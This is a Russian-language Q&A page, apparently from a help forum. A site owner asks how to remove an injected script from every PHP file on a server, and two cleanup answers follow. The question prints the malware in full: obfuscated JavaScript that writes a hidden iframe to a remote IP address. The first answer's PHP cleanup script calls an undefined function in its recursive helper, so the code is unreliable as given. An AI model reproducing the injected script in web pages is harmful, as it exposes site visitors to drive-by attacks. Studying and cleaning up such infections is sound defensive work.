Как я могу удалить вирус iframe из всех файлов php на моем сайте
У меня проблема с удалением вирусного кода из моих файлов php. На моем сервере более 1200 файлов php, и каждый файл php заражен вирусом. Вирусный код добавляет эту строку в вывод html
здесь код вируса:
<tag5479347351></tag5479347351><script>eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 k=" i=\\"0\\" g=\\"0\\" j=\\"0\\" f=\\"c://d.h.n.l/o.m\\">";1 5="<8";1 7="p";1 4="e";1 b="</8";1 a="e>";2.3(5);9(2.3(7+4+k+b),6);9(2.3(4+a),6);',26,26,'|var|document|write|k02|k0|1000|k01|if|setTimeout|k22|k2|http|125||src|height|230|width|board||248|php|58|tag1|ram'.split('|'),0,{}))</script><tag5479347352></tag5479347352>
Над кодом в каждом файле php. Как я могу удалить этот код вируса из каждого файла php? Есть ли быстрый способ сделать это?
2 ответа
Ты можешь использовать:
removeVirus.php
<?php
foreach(rglob("*.php") as $virusFile){
$withVirus = file_get_contents($virusFile);
$withoutVirus = preg_replace('%<tag\d+>.*</tag\d+>%', '', $withVirus);
file_put_contents($virusFile, $withoutVirus);
}
function rglob($pattern, $flags = 0){
// forked from https://github.com/rodurma/PHP-Functions/
// blob/master/glob_recursive.php
$files = glob($pattern, $flags);
foreach (glob(dirname($pattern).'/*',
GLOB_ONLYDIR|GLOB_NOSORT) as $dir){
$files = array_merge($files, glob_recursive
($dir.'/'.basename($pattern), $flags));
}
return $files;
}
Использование:
положил removeVirus.php
в корне вашего сайта и выполняйте из оболочки как root (или как владелец файлов)
php removeVirus.php
Заметки:
1 - я проверил код на своем сервере с 10 php
файлы, содержащие вирус, и он работал как задумано.
2. Убедитесь, что вы нашли источник взлома и исправьте свою систему соответствующим образом.
Если предоставленный вами строковый литерал "код вируса" встроен в каждый файл php, его можно удалить с помощью командной строки. Откройте приложение оболочки (Командная строка для Windows или Терминал для операционных систем на основе UNIX/UNIX, например, OS X, Linux и т. Д.). Вам нужно будет удалить код вируса, прежде чем передать его в оболочку, однако идеальные методы могут различаться в зависимости от вашей системы. Выполните следующие команды:
cd /path/to/your/infected/php/files
sed -i 's/insert_escaped_virus_code_here//g' *
PS Если см еще не был установлен, следуйте этим инструкциям для OS X и Windows.